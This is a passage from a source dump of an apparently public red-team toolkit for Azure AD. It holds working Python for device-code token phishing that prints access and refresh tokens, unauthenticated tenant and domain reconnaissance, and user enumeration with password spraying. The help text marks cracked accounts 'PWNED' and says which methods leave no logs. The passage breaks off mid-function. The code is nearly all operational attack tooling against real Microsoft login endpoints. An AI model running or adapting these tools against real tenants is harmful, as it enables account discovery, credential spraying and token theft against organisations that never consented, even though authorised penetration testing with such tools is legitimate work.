70 | 'optionalClaims': {
71 | 'accessToken': [
72 | {'name': 'acct'}, # User account status (tenant member = 0; guest = 1)
73 | {'name': 'auth_time'}, # Time when the user last authenticated
74 | {'name': 'ctry'}, # Users country/region
75 | {'name': 'email'}, # Reported user email address
76 | {'name': 'fwd'}, # Original IPv4 Address of requesting client (when inside VNET)
77 | {'name': 'groups'}, # GroupMembership
78 | {'name': 'idtyp'}, # App for app-only token, or app+user
79 | {'name': 'login_hint'}, # Login hint
80 | {'name': 'sid'}, # Session ID
81 | {'name': 'tenant_ctry'}, # Tenant Country
82 | {'name': 'tenant_region_scope'}, # Tenant Region
83 | {'name': 'upn'}, # UserPrincipalName
84 | {'name': 'verified_primary_email'}, # User's PrimaryAuthoritativeEmail
85 | {'name': 'verified_secondary_email'}, # User's SecondaryAuthoritativeEmail
86 | {'name': 'vnet'}, # VNET specifier
87 | {'name': 'xms_pdl'}, # Preferred data location
88 | {'name': 'xms_pl'}, # User's preferred language
89 | {'name': 'xms_tpl'}, # Target Tenants preferred language
90 | {'name': 'ztdid'}, # Device Identity used for Windows AutoPilot
91 | {'name': 'ipaddr'}, # IP Address the client logged in from
92 | {'name': 'onprem_sid'}, # On-Prem Security Identifier
93 | {'name': 'pwd_exp'}, # Password Expiration Time (datetime)
94 | {'name': 'pwd_url'}, # Change password URL
95 | {'name': 'in_corp'}, # If client logs in within the corporate network (based off "trusted IPs")
96 | {'name': 'family_name'}, # Last Name
97 | {'name': 'given_name'}, # First Name
98 | {'name': 'upn'}, # User Principal Name
99 | {'name': 'aud'}, # Audience/Resource the token is for
100 | {'name': 'preferred_username'},
101 | {'name': 'scope'} # Preferred username
102 | ]
103 | }
104 | }
105 | start_time = time.time()
106 |
107 | request = requests.post(GET_DEVICE_CODE_ENDPOINT, data=post_data)
108 |
109 | response_json = json.loads(request.text)
110 |
111 | device_code = response_json['device_code']
112 |
113 | expires_in = response_json['expires_in']
114 |
115 | print("\nMessage: " + response_json['message'] + '\n')
116 |
117 | polling_endpoint = 'https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0'
118 |
119 | poll_data = {
120 | "client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
121 | "resource": RESOURCE,
122 | "code": device_code,
123 | "grant_type": "urn:ietf:params:oauth:grant-type:device_code"
124 | }
125 |
126 | dots = ""
127 |
128 | unfinished = True
129 |
130 | while unfinished:
131 | current_time = time.time()
132 | poll = requests.post(polling_endpoint, data=poll_data)
133 | status_code = poll.status_code
134 | poll_json = json.loads(poll.text)
135 | if status_code == 200:
136 | print()
137 | print("Token Type: " + poll_json['token_type'])
138 | print("Scope: " + poll_json['scope'])
139 | print("Expires In: " + poll_json['expires_in'])
140 | print("Expires On: " + poll_json['expires_on'])
141 | print("Not Before: " + poll_json['not_before'])
142 | print("Resource: " + poll_json['resource'])
143 | print("Acess Token:\n" + poll_json['access_token'])
144 | print("Refresh Token:\n" + poll_json['refresh_token'])
145 | print("ID Token:\n" + poll_json['id_token'])
146 | unfinished = False
147 | else:
148 | print(poll_json['error'] + dots + ' ', end='\r')
149 | if dots == "...":
150 | dots = ""
151 | else:
152 | dots = dots + "."
153 | if (int(current_time) - int(start_time)) > int(expires_in):
154 | print()
155 | print("Device Code Expired :(")
156 | unfinished = False
157 | time.sleep(5)
158 | sys.exit()
159 |
160 | if __name__ == '__main__':
161 | main()
162 | sys.exit()
163 |
--------------------------------------------------------------------------------
/offensive_azure/Device_Code/requirements.txt:
--------------------------------------------------------------------------------
1 | certifi==2021.10.8
2 | charset-normalizer==2.0.12
3 | idna==3.3
4 | requests==2.27.1
5 | urllib3==1.26.9
6 |
--------------------------------------------------------------------------------
/offensive_azure/Outsider_Recon/README.md:
--------------------------------------------------------------------------------
1 | # outsider_recon.py
2 |
3 | This module is a port of many different cmdlets from [AADInternals](https://github.com/Gerenios/AADInternals). It only requires a domain to be supplied to run successfully. Enumerated information includes:
4 |
5 | - Tenant OpenID configuration
6 | - Domain login information
7 | - Domain information
8 | - Tenant ID extraction
9 | - Other domains under the shared tenant
10 |
11 | ## Installation
12 |
13 | ```bash
14 | git clone https://github.com/blacklanternsecurity/offensive-azure.git
15 | cd ./offensive-azure/Outsider_Recon/
16 | pipenv shell
17 | pip install -r requirements.txt
18 | ```
19 |
20 | ## Usage
21 |
22 | ```bash
23 | usage: outsider_recon.py [-o|--outfile ] [-u|--user ]
24 |
25 | =====================================================================================
26 | # This module will enumerate all available information for a given target domain #
27 | # within an Azure tenant. This does not require any level of pre-existing access. #
28 | =====================================================================================
29 |
30 | positional arguments:
31 | domain The target Microsoft/Azure domain
32 |
33 | optional arguments:
34 | -h, --help show this help message and exit
35 | -o , --outfile-path
36 | (string) The path where you want the recon data (json object) saved. If not supplied, module defaults to the
37 | current directory
38 | -u , --user
39 | (string) The user you want to use during enumeration. Do not include the domain. If not supplied, module defaults
40 | to "none"
41 | ```
42 |
43 | ## Examples
44 |
45 | ```bash
46 | python3 outsider_recon.py domain.com -u user.name -o ./loot
47 | ```
48 |
--------------------------------------------------------------------------------
/offensive_azure/Outsider_Recon/outsider_recon.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | '''
4 | Copyright (C) 2022 Cody Martin BLSOPS LLC
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | '''
19 |
20 | import sys
21 | import time
22 | import json
23 | import xml.etree.ElementTree as ET
24 | import argparse
25 | import dns.resolver
26 | import dns.rcode
27 | import colorama
28 | import requests
29 | import whois
30 |
31 | class OutsiderRecon:
32 | """
33 | Contains all functions necessary to enumerate an Azure tenant
34 | given a domain that belongs to an Azure tenant.
35 |
36 | Methods
37 | -------
38 | enumerate_domain_info(domains, login_infos):
39 | Enumerates information about a domain, including DMARC, CloudSPF, CloudMX, DNS, STS, SSO
40 |
41 | enumerate_tenant_id(openid_config):
42 | Given an openid_config, will return the tenant ID
43 |
44 | enumerate_login_info(domain, username):
45 | Given a domain and optional username, will return the authentication related endpoints
46 | and information as they pertain to the supplied domain
47 |
48 | enumerate_openid(domain):
49 | Given a domain, will return the openid configuration information
50 |
51 | enumerate_tenant_domains(domain, user_agent='AutodiscoverClient'):
52 | Given a domain and optional user_agent, will return all domains
53 | registered to the same Azure tenant as the domain provided
54 | """
55 |
56 | @staticmethod
57 | def enumerate_domain_info(domains, login_infos):
58 | """Takes in list of domains and login information, returns domain details"""
59 | domain_info = {}
60 | for domain in domains:
61 | domain_info[domain] = {}
62 |
63 | # Check if domain has SSO emabled
64 | domain_info[domain]['sso'] = False
65 | try:
66 | if login_infos[domain]['Desktop SSO Enabled'] == 'True':
67 | domain_info[domain]['sso'] = True
68 | except KeyError:
69 | pass
70 |
71 | # Check for Namespace
72 | try:
73 | domain_info[domain]['type'] = login_infos[domain]['Namespace Type']
74 | except KeyError:
75 | domain_info[domain]['type'] = 'Unknown'
76 |
77 | # Check for STS
78 | try:
79 | domain_info[domain]['sts'] = login_infos[domain]['Authentication URL']
80 | except KeyError:
81 | domain_info[domain]['sts'] = ''
82 |
83 | # Check for WHOIS
84 | domain_info[domain]['whois'] = False
85 | try:
86 | whois_response = whois.whois(domain)
87 | domain_info[domain]['whois'] = bool(whois_response.domain_name)
88 | except whois.parser.PywhoisError:
89 | pass
90 |
91 | # Check if DNS Name resolves
92 | try:
93 | dns_response = dns.resolver.resolve(domain)
94 | if dns.rcode.to_text(dns_response.response.rcode()) == 'NOERROR':
95 | domain_info[domain]['dns'] = True
96 | else:
97 | domain_info[domain]['dns'] = False
98 | domain_info[domain]['cloudmx'] = False
99 | domain_info[domain]['cloudspf'] = False
100 | domain_info[domain]['dmarc'] = False
101 | continue
102 | except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer):
103 | domain_info[domain]['dns'] = False
104 | domain_info[domain]['cloudmx'] = False
105 | domain_info[domain]['cloudspf'] = False
106 | domain_info[domain]['dmarc'] = False
107 | continue
108 |
109 | # Check for CloudMX
110 | try:
111 | domain_info[domain]['cloudmx'] = False
112 | dns_response = dns.resolver.resolve(domain, 'MX')
113 | for answer in dns_response:
114 | if 'mail.protection.outlook.com' in str(answer):
115 | domain_info[domain]['cloudmx'] = True
116 | break
117 | except dns.exception.DNSException:
118 | pass
119 | # Check for CloudSPF
120 | try:
121 | domain_info[domain]['cloudspf'] = False
122 | dns_response = dns.resolver.resolve(domain, 'TXT')
123 | for answer in dns_response:
124 | if 'include:spf.protection.outlook.com' in str(answer):
125 | domain_info[domain]['cloudspf'] = True
126 | break
127 | except dns.exception.DNSException:
128 | pass
129 | # Check for DMARC
130 | try:
131 | domain_info[domain]['dmarc'] = False
132 | dns_response = dns.resolver.resolve('_dmarc.' + domain, 'TXT')
133 | for answer in dns_response:
134 | if 'v=DMARC1' in str(answer):
135 | domain_info[domain]['dmarc'] = True
136 | break
137 | except dns.exception.DNSException:
138 | pass
139 |
140 | return domain_info
141 |
142 | @staticmethod
143 | def enumerate_tenant_id(openid_config):
144 | """Given an openid_config, will return the tenant ID"""
145 | return openid_config['authorization_endpoint'].split('/')[3]
146 |
147 | @staticmethod
148 | def enumerate_login_info(domain, username):
149 | """Given a domain and optional username, will return the authentication related info"""
150 | results = {}
151 |
152 | user = username + '@' + domain
153 |
154 | endpoint1 = f'https://login.microsoftonline.com/common/userrealm/{user}?api-version=1.0'
155 | endpoint2 = f'https://login.microsoftonline.com/common/userrealm/{user}?api-version=2.0'
156 | endpoint3 = f'https://login.microsoftonline.com/GetUserRealm.srf?login={user}'
157 | endpoint4 = 'https://login.microsoftonline.com/common/GetCredentialType'
158 |
159 | body = {
160 | 'username': user,
161 | 'isOtherIdpSupported': 'true',
162 | 'checkPhones': 'true',
163 | 'isRemoteNGCSupported': 'false',
164 | 'isCookieBannerShown': 'false',
165 | 'isFidoSupported': "false",
166 | 'originalRequest': ''
167 | }
168 |
169 | json_data = json.dumps(body)
170 |
171 | headers4 = {
172 | 'Content-Type': 'application/json; charset=utf-8',
173 | }
174 |
175 | user_realm_json1 = requests.get(endpoint1).json()
176 | user_realm_json2 = requests.get(endpoint2).json()
177 | user_realm_json3 = requests.get(endpoint3).json()
178 | user_realm_json4 = requests.post(endpoint4, headers=headers4, data=json_data).json()
179 |
180 |
181 | try:
182 | results['Account Type'] = user_realm_json1['account_type']
183 | except KeyError:
184 | pass
185 | try:
186 | results['Namespace Type'] = user_realm_json2['NameSpaceType']
187 | except KeyError:
188 | pass
189 | try:
190 | results['Domain Name'] = user_realm_json3['DomainName']
191 | except KeyError:
192 | pass
193 | try:
194 | results['Cloud Instance'] = user_realm_json1['cloud_instance_name']
195 | except KeyError:
196 | pass
197 | try:
198 | results['Cloud Instance Audience URN'] = user_realm_json1['cloud_audience_urn']
199 | except KeyError:
200 | pass
201 | try:
202 | results['Federation Brand Name'] = user_realm_json3['FederationBrandName']
203 | except KeyError:
204 | pass
205 | try:
206 | results['State'] = user_realm_json3['State']
207 | except KeyError:
208 | pass
209 | try:
210 | results['User State'] = user_realm_json3['UserState']
211 | except KeyError:
212 | pass
213 | try:
214 | results['Exists'] = user_realm_json4['IfExistsResult']
215 | except KeyError:
216 | pass
217 | try:
218 | results['Throttle Status'] = user_realm_json4['ThrottleStatus']
219 | except KeyError:
220 | pass
221 | try:
222 | results['Pref Credential'] = user_realm_json4['Credentials']['PrefCredential']
223 | except KeyError:
224 | pass
225 | try:
226 | results['Has Password'] = user_realm_json4['Credentials']['HasPassword']
227 | except KeyError:
228 | pass
229 | try:
230 | results['Domain Type'] = user_realm_json4['EstsProperties']['DomainType']
231 | except KeyError:
232 | pass
233 | try:
234 | results['Federation Protocol'] = user_realm_json1['federation_protocol']
235 | except KeyError:
236 | pass
237 | try:
238 | results['Federation Metadata URL'] = user_realm_json1['federation_metadata_url']
239 | except KeyError:
240 | pass
241 | try:
242 | results['Federation Active Authentication URL'] = user_realm_json1['federation_active_auth_url']
243 | except KeyError:
244 | pass
245 | try:
246 | results['Authentication URL'] = user_realm_json2['AuthUrl']
247 | except KeyError:
248 | pass
249 | try:
250 | results['Consumer Domain'] = user_realm_json2['ConsumerDomain']
251 | except KeyError:
252 | pass
253 | try:
254 | results['Federation Global Version'] = user_realm_json3['FederationGlobalVersion']
255 | except KeyError:
256 | pass
257 | try:
258 | results['Desktop SSO Enabled'] = user_realm_json4['EstsProperties']['DesktopSsoEnabled']
259 | except KeyError:
260 | pass
261 |
262 | return results
263 |
264 | @staticmethod
265 | def enumerate_openid(domain):
266 | """Given a domain, will return the openid configuration information"""
267 | endpoint = f'https://login.microsoftonline.com/{domain}/.well-known/openid-configuration'
268 |
269 | openid_config_json = requests.get(endpoint).json()
270 |
271 | return openid_config_json
272 |
273 | @staticmethod
274 | def enumerate_tenant_domains(domain, user_agent='AutodiscoverClient'):
275 | """Given a domain and optional user_agent, returns domains under shared tenant"""
276 | headers = {
277 | 'Content-Type': 'text/xml; charset=utf-8',
278 | 'SOAPAction': '"http://schemas.microsoft.com/exchange/2010' \
279 | '/Autodiscover/Autodiscover/GetFederationInformation"',
280 | 'User-Agent': user_agent
281 | }
282 |
283 | xml = f'''
284 |
285 |
286 | http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation
287 | https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc
288 |
289 | http://www.w3.org/2005/08/addressing/anonymous
290 |
291 |
292 |
293 |
294 |
295 | {domain}
296 |
297 |
298 |
299 | '''
300 |
301 | endpoint = 'https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc'
302 |
303 | # Get Tenant Domains with Supplied Domain
304 | # Returns a SOAP Envelope object
305 | # Loops until we receive valid data
306 | proceed = False
307 | while not proceed:
308 | tenant_domains = requests.post(endpoint, data=xml, headers=headers)
309 | if tenant_domains.status_code == 421:
310 | return None
311 | tenant_domains.encoding = 'utf-8'
312 | try:
313 | xml_response = ET.fromstring(str(tenant_domains.content, 'utf-8'))
314 | proceed = True
315 | except ET.ParseError:
316 | continue
317 |
318 | domains = []
319 |
320 | for i in xml_response[1][0][0][3]:
321 | domains.append(i.text)
322 |
323 | return domains
324 |
325 | def main(self):
326 | """Runner method"""
327 | # Set up our colors
328 | colorama.init()
329 | success = colorama.Fore.GREEN
330 | danger = colorama.Fore.RED
331 | warning = colorama.Fore.YELLOW
332 | reset = colorama.Style.RESET_ALL
333 |
334 | description = '''
335 | =====================================================================================
336 | # This module will enumerate all available information for a given target domain #
337 | # within an Azure tenant. This does not require any level of pre-existing access. #
338 | =====================================================================================
339 | '''
340 |
341 | arg_parser = argparse.ArgumentParser(
342 | prog='outsider_recon.py',
343 | usage=success + '%(prog)s' + warning + ' ' + reset + \
344 | ' [-o|--outfile ] [-u|--user ]',
345 | description=description,
346 | formatter_class=argparse.RawDescriptionHelpFormatter)
347 | arg_parser.add_argument(
348 | 'Domain',
349 | metavar='domain',
350 | type=str,
351 | help='The target Microsoft/Azure domain')
352 | arg_parser.add_argument(
353 | '-o',
354 | '--outfile-path',
355 | metavar='',
356 | dest='outfile_path',
357 | type=str,
358 | help='(string) The path where you want the recon data (json object) saved.\n' \
359 | 'If not supplied, module defaults to the current directory',
360 | required=False)
361 | arg_parser.add_argument(
362 | '-u',
363 | '--user',
364 | metavar='',
365 | dest='user',
366 | type=str,
367 | help='(string) The user you want to use during enumeration. Do not include the' \
368 | ' domain.\nIf not supplied, module defaults to "none"',
369 | required=False)
370 |
371 | args = arg_parser.parse_args()
372 |
373 | outfile_prefix = time.strftime('%Y-%m-%d_%H-%M-%S_' + args.Domain + '_')
374 |
375 | # Set a default path if none is given
376 | path = args.outfile_path
377 | if path is None:
378 | path = './'
379 | elif path[-1] != '/':
380 | path = path + '/'
381 |
382 | # Set a default user if none is given
383 | user = args.user
384 | if user is None:
385 | user = 'none'
386 | else:
387 | user = user.split('@')[0]
388 |
389 | # Enumerating all domains for the tenant the passed in domain belongs to
390 | print(warning + 'Enumerating Other Domains Within Tenant' + reset + '\n')
391 | domains_found = self.enumerate_tenant_domains(args.Domain)
392 | if domains_found is None:
393 | print(danger + 'It doesn\'t look like this is a domain in Azure.'\
394 | ' Check your domain or try something else.')
395 | sys.exit()
396 | for domain_found in domains_found:
397 | print(success + '[+] ' + reset + domain_found)
398 | print()
399 |
400 | # Enumerating the openid configuration for the tenant
401 | print(warning + 'Enumerating OpenID Configuration for Tenant' + reset + '\n')
402 | openid_config = self.enumerate_openid(args.Domain)
403 | for elem in openid_config:
404 | print((success + elem + reset + ':\t' + str(openid_config[elem])).expandtabs(50))
405 | print()
406 |
407 | # Enumerating the login information for each domain discovered
408 | login_infos = {}
409 | print(warning + 'Enumerating User Login Information' + reset + '\n')
410 | for domain_found in domains_found:
411 | user_realm_json = self.enumerate_login_info(args.Domain, user)
412 | login_infos[domain_found] = user_realm_json
413 | print(warning + '[+] ' + domain_found + ":" + reset)
414 | print(warning + '========================' + reset)
415 | for key, value in user_realm_json.items():
416 | print((success + key + reset + ":\t" + str(value)).expandtabs(50))
417 | print(warning + '========================' + reset + '\n')
418 | print()
419 |
420 | # Enumerate the tenant ID
421 | print(warning + 'Tenant ID' + reset + '\n')
422 | tenant_id = self.enumerate_tenant_id(openid_config)
423 | print(success + '[+] ' + reset + tenant_id)
424 | print()
425 |
426 | # Enumerate Domain Information (DNS, CLOUDMX, CLOUDSPF, DMARC, Identity Management, STS, SSO)
427 | print(warning + 'Enumerating Domain Information' + reset + '\n')
428 | domain_info = self.enumerate_domain_info(domains_found, login_infos)
429 | for domain_name, domain_data in domain_info.items():
430 | print(warning + '[+] ' + domain_name + ":" + reset)
431 | print(warning + '========================' + reset)
432 | for key, value in domain_data.items():
433 | print((success + key + reset + ":\t" + str(value)).expandtabs(24))
434 | print(warning + '========================' + reset + '\n')
435 |
436 | # Save our results to files
437 |
438 | ## Save Domain List
439 | with open(path + outfile_prefix + 'domain_list.txt', 'w+', encoding='UTF-8') as file:
440 | for dom in domains_found:
441 | file.write(dom + '\n')
442 | file.close()
443 |
444 | ## Save Tenant OpenID Configuration
445 | with open(path + outfile_prefix + 'tenant_openid_config.json', 'w+', encoding='UTF-8') as file:
446 | file.write(json.dumps(openid_config))
447 | file.close()
448 |
449 | ## Save Domain Login Information
450 | with open(path + outfile_prefix + \
451 | 'domain_login_information.json', 'w+', encoding='UTF-8') as file:
452 | file.write(json.dumps(login_infos))
453 | file.close()
454 |
455 | ## Save Tenant ID
456 | with open(path + outfile_prefix + 'tenant_id.txt', 'w+', encoding='UTF-8') as file:
457 | file.write(tenant_id)
458 | file.close()
459 |
460 | ## Save Domain Information
461 | with open(path + outfile_prefix + 'domain_information.json', 'w+', encoding='UTF-8') as file:
462 | file.write(json.dumps(domain_info))
463 | file.close()
464 |
465 | print(success + '[+] Files Saved Successfully!' + reset)
466 |
467 | def runner():
468 | """Runner function"""
469 | prog = OutsiderRecon()
470 | prog.main()
471 | sys.exit()
472 |
473 | if __name__ == '__main__':
474 | runner()
475 | sys.exit()
476 |
--------------------------------------------------------------------------------
/offensive_azure/Outsider_Recon/requirements.txt:
--------------------------------------------------------------------------------
1 | certifi==2021.10.8
2 | charset-normalizer==2.0.12
3 | colorama==0.4.4
4 | dnspython==2.2.1
5 | idna==3.3
6 | requests==2.27.1
7 | urllib3==1.26.9
8 |
--------------------------------------------------------------------------------
/offensive_azure/User_Enum/README.md:
--------------------------------------------------------------------------------
1 | # user_enum.py
2 |
3 | ```bash
4 | usage: user_enum.py [-m login-method | -u username | -i input-list | -o outfile]
5 |
6 | =====================================================================================
7 | # This module will enumerate for valid user accounts in an Azure AD environment #
8 | # There are five methods to enumerate with: login, sso, normal, onedrive, lists #
9 | # #
10 | # Default method: normal #
11 | # #
12 | # You may supply either a single username to test, or a user list #
13 | # Supplying a password will insert it into either the 'login' or 'sso' method #
14 | # #
15 | # If the password is correct, and there are no other obstacles, then the account #
16 | # will be marked 'PWNED' #
17 | # #
18 | # Using the 'login' method will create failed authentication logs in Azure AD #
19 | # #
20 | # Using the 'sso' 'lists' or 'onedrive' methods will not create any logs, #
21 | # but is less accurate #
22 | =====================================================================================
23 |
24 | optional arguments:
25 | -h, --help show this help message and exit
26 | -m , --method
27 | The login method you would like to use (default is normal), select one of 'normal' 'onedrive' 'lists' 'login' 'sso'
28 | -u , --username
29 | The username you would like to test
30 | -i , --input-list
31 | Text file containing usernames you want to test
32 | -p , --password
33 | The password you want to spray with. Only works with 'login' and 'sso' methods.
34 | -o , --outfile
35 | Path to where you want to save your results
36 | ```
37 |
--------------------------------------------------------------------------------
/offensive_azure/User_Enum/requirements.txt:
--------------------------------------------------------------------------------
1 | certifi==2021.10.8
2 | charset-normalizer==2.0.12
3 | colorama==0.4.4
4 | idna==3.3
5 | requests==2.27.1
6 | urllib3==1.26.9
7 | uuid==1.30
8 |
--------------------------------------------------------------------------------
/offensive_azure/User_Enum/user_enum.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | '''
4 | Copyright (C) 2022 Cody Martin BLSOPS LLC
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | '''
19 |
20 | import sys
21 | import argparse
22 | import time
23 | import json
24 | import uuid
25 | from datetime import datetime
26 | from datetime import timezone
27 | from datetime import timedelta
28 | import xml.etree.ElementTree as ET
29 | import colorama
30 | import requests
31 |
32 | # Set up our colors
33 | colorama.init()
34 | SUCCESS = colorama.Fore.GREEN
35 | VALID = colorama.Fore.CYAN
36 | DANGER = colorama.Fore.RED
37 | WARNING = colorama.Fore.YELLOW
38 | RESET = colorama.Style.RESET_ALL
39 |
40 | # Set up argparse stuff
41 | METHODS = [
42 | 'normal',
43 | 'onedrive',
44 | 'lists',
45 | 'login',
46 | 'sso'
47 | ]
48 |
49 | DESCRIPTION = f'''
50 | =====================================================================================
51 | # This module will enumerate for valid user accounts in an Azure AD environment #
52 | # There are five methods to enumerate with: login, sso, normal, onedrive, lists #
53 | # #
54 | # Default method: normal #
55 | # #
56 | # You may supply either a single username to test, or a user list #
57 | # Supplying a password will insert it into either the 'login' or 'sso' method #
58 | # #
59 | # If the password is correct, and there are no other obstacles, then the account #
60 | # will be marked 'PWNED' #
61 | # #
62 | #{DANGER} Using the 'login' method will create failed authentication logs in Azure AD {RESET} #
63 | # #
64 | #{WARNING} Using the 'sso' 'lists' or 'onedrive' methods will not create any logs,{RESET} #
65 | #{WARNING} but is less accurate{RESET} #
66 | =====================================================================================
67 | '''
68 |
69 | def enumerate_tenant_domains(domain, user_agent='AutodiscoverClient'):
70 | """Given a domain and optional user_agent, returns domains under shared tenant"""
71 | headers = {
72 | 'Content-Type': 'text/xml; charset=utf-8',
73 | 'SOAPAction': '"http://schemas.microsoft.com/exchange/2010' \
74 | '/Autodiscover/Autodiscover/GetFederationInformation"',
75 | 'User-Agent': user_agent
76 | }
77 |
78 | xml = f'''
79 |
80 |
81 | http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation
82 | https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc
83 |
84 | http://www.w3.org/2005/08/addressing/anonymous
85 |
86 |
87 |
88 |
89 |
90 | {domain}
91 |
92 |
93 |
94 | '''
95 |
96 | endpoint = 'https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc'
97 |
98 | # Get Tenant Domains with Supplied Domain
99 | # Returns a SOAP Envelope object
100 | # Loops until we receive valid data
101 | proceed = False
102 | while not proceed:
103 | tenant_domains = requests.post(endpoint, data=xml, headers=headers)
104 | if tenant_domains.status_code == 421:
105 | return None
106 | tenant_domains.encoding = 'utf-8'
107 | try:
108 | xml_response = ET.fromstring(str(tenant_domains.content, 'utf-8'))
109 | proceed = True
110 | except ET.ParseError:
111 | continue
112 |
113 | domains = []
114 |
115 | for i in xml_response[1][0][0][3]:
116 | domains.append(i.text)
117 |
118 | return domains
119 |
120 | def find_tenant_name(email, target):
121 | """Given an email account and application to target, will return the valid tenant name"""
122 | if target == 'onedrive':
123 | page = 'onedrive.aspx'
124 | elif target == 'lists':
125 | page = 'Lists.aspx'
126 | else:
127 | print(f'{DANGER}[!]{RESET} Something crazy happened - Exiting')
128 | sys.exit()
129 | domain = email.split('@')[1]
130 | user_domain_1 = email.replace('@','_').replace('.','_')
131 | domain_list = enumerate_tenant_domains(domain)
132 | tenant_names = []
133 | valid_tenant_name = None
134 | for entry in domain_list:
135 | if '.onmicrosoft.com' in entry:
136 | tenant_names.append(entry.split('.')[0])
137 | if len(tenant_names) > 1:
138 | print(f'{VALID}[-]{RESET} Attempting to find the correct tenant name')
139 | print(f'{VALID}[-]{RESET} This might take a little while depending' \
140 | f' on the number of potential tenant names ({len(tenant_names)})')
141 | print()
142 | for tenant_name in tenant_names[::-1]:
143 | endpoint = f'https://{tenant_name}-my.sharepoint.com/personal/{user_domain_1}/' \
144 | f'_layouts/15/{page}'
145 | try:
146 | requests.head(endpoint, timeout=10)
147 | valid_tenant_name = tenant_name
148 | print(f'{VALID}[+]{RESET} Tenant Name: {valid_tenant_name}')
149 | print()
150 | break
151 | except requests.exceptions.ConnectTimeout:
152 | pass
153 | elif len(tenant_names) == 1:
154 | valid_tenant_name = tenant_names[0]
155 | return valid_tenant_name
156 |
157 | def main():
158 | """
159 | Main runner function. Takes in a username or list of users
160 | and attempts to brute-force check for user existence.
161 |
162 | Can also take in a password to be used with 'login' or
163 | 'autologon' methods to perform password spray
164 | """
165 | arg_parser = argparse.ArgumentParser(prog='user_enum.py',
166 | usage=SUCCESS + '%(prog)s' + RESET + ' [-m login-method | '\
167 | '-u username | -i input-list | -o outfile]',
168 | description=DESCRIPTION,
169 | formatter_class=argparse.RawDescriptionHelpFormatter)
170 | arg_parser.add_argument('-m',
171 | '--method',
172 | metavar='',
173 | dest='method',
174 | type=str,
175 | help=f'The login method you would like to use (default is normal), select one '\
176 | f'of {str(METHODS).replace(","," ").replace("[","").replace("]","")}',
177 | choices=METHODS,
178 | required=False)
179 | arg_parser.add_argument('-u',
180 | '--username',
181 | metavar='',
182 | dest='username',
183 | type=str,
184 | help='The username you would like to test',
185 | required=False)
186 | arg_parser.add_argument('-i',
187 | '--input-list',
188 | metavar='',
189 | dest='input_list',
190 | type=str,
191 | help='Text file containing usernames you want to test',
192 | required=False)
193 | arg_parser.add_argument('-p',
194 | '--password',
195 | metavar='',
196 | dest='password',
197 | type=str,
198 | help='The password you want to spray with. Only works with '\
199 | '\'login\' and \'sso\' methods.',
200 | required=False)
201 | arg_parser.add_argument('-o',
202 | '--outfile',
203 | metavar='',
204 | dest='outfile_path',
205 | type=str,
206 | help='Path to where you want to save your results',
207 | required=False)
208 |
209 | args = arg_parser.parse_args()
210 |
211 | if args.method is None:
212 | args.method = 'normal'
213 |
214 | # Set a default outfile if none is given
215 | outfile_path = args.outfile_path
216 | if outfile_path is None:
217 | outfile = './' + time.strftime('%Y-%m-%d_%H-%M-%S_User-Enum.json')
218 | else:
219 | if outfile_path[-1] != '/':
220 | outfile_path = outfile_path + '/'
221 | outfile = outfile_path + time.strftime('%Y-%m-%d_%H-%M-%S_User-Enum.json')
222 |
223 | if args.username is not None:
224 | # Single user mode
225 | userlist = [args.username]
226 | elif args.input_list is not None:
227 | # We better be loading from a list
228 | with open(args.input_list, encoding='UTF-8') as userfile:
229 | userlist = []
230 | for user in userfile.readlines():
231 | userlist.append(user.replace('\n', ''))
232 | else:
233 | # No users supplied
234 | print(f'{WARNING}No users supplied with either -u or -i\n{DANGER}Exiting{RESET}')
235 | sys.exit()
236 |
237 | if args.password is None:
238 | password = 'none'
239 | client_id = str(uuid.uuid4())
240 | else:
241 | password = args.password
242 | client_id = 'd3590ed6-52b3-4102-aeff-aad2292ab01c'
243 |
244 | results = []
245 |
246 | if args.method == 'normal':
247 | for user in userlist:
248 | data = {
249 | 'username': user,
250 | 'isOtherIdpSupported': 'true',
251 | 'checkPhones': 'true',
252 | 'isRemoteNGCSupported': 'false',
253 | 'isCookieBannerShown': 'false',
254 | 'isFidoSupported': 'false',
255 | 'originalRequest': '',
256 | 'flowToken': ''
257 | }
258 |
259 | json_data = json.dumps(data)
260 |
261 | headers = {
262 | 'Content-Type': 'application/json; charset=utf-8',
263 | }
264 |
265 | endpoint = 'https://login.microsoftonline.com/common/GetCredentialType'
266 |
267 | json_response = requests.post(endpoint, headers=headers, data=json_data).json()
268 |
269 | if json_response['ThrottleStatus'] == 1:
270 | print(f'{WARNING}Requests being throttled.{RESET}')
271 | exists = '???'
272 | else:
273 | if json_response['IfExistsResult'] == 0 or json_response['IfExistsResult'] == 6:
274 | exists = 'VALID_USER'
275 | else:
276 | exists = 'INVALID_USER'
277 |
278 | results.append({
279 | 'account': user,
280 | 'exists': exists
281 | })
282 |
283 | elif args.method == 'onedrive':
284 | print(f'{WARNING}[!]{RESET} This will only discover accounts that have M365 licenses')
285 | valid_tenant_name = find_tenant_name(userlist[0], args.method)
286 | if valid_tenant_name:
287 | for user in userlist:
288 | user_domain = user.replace('@','_').replace('.','_')
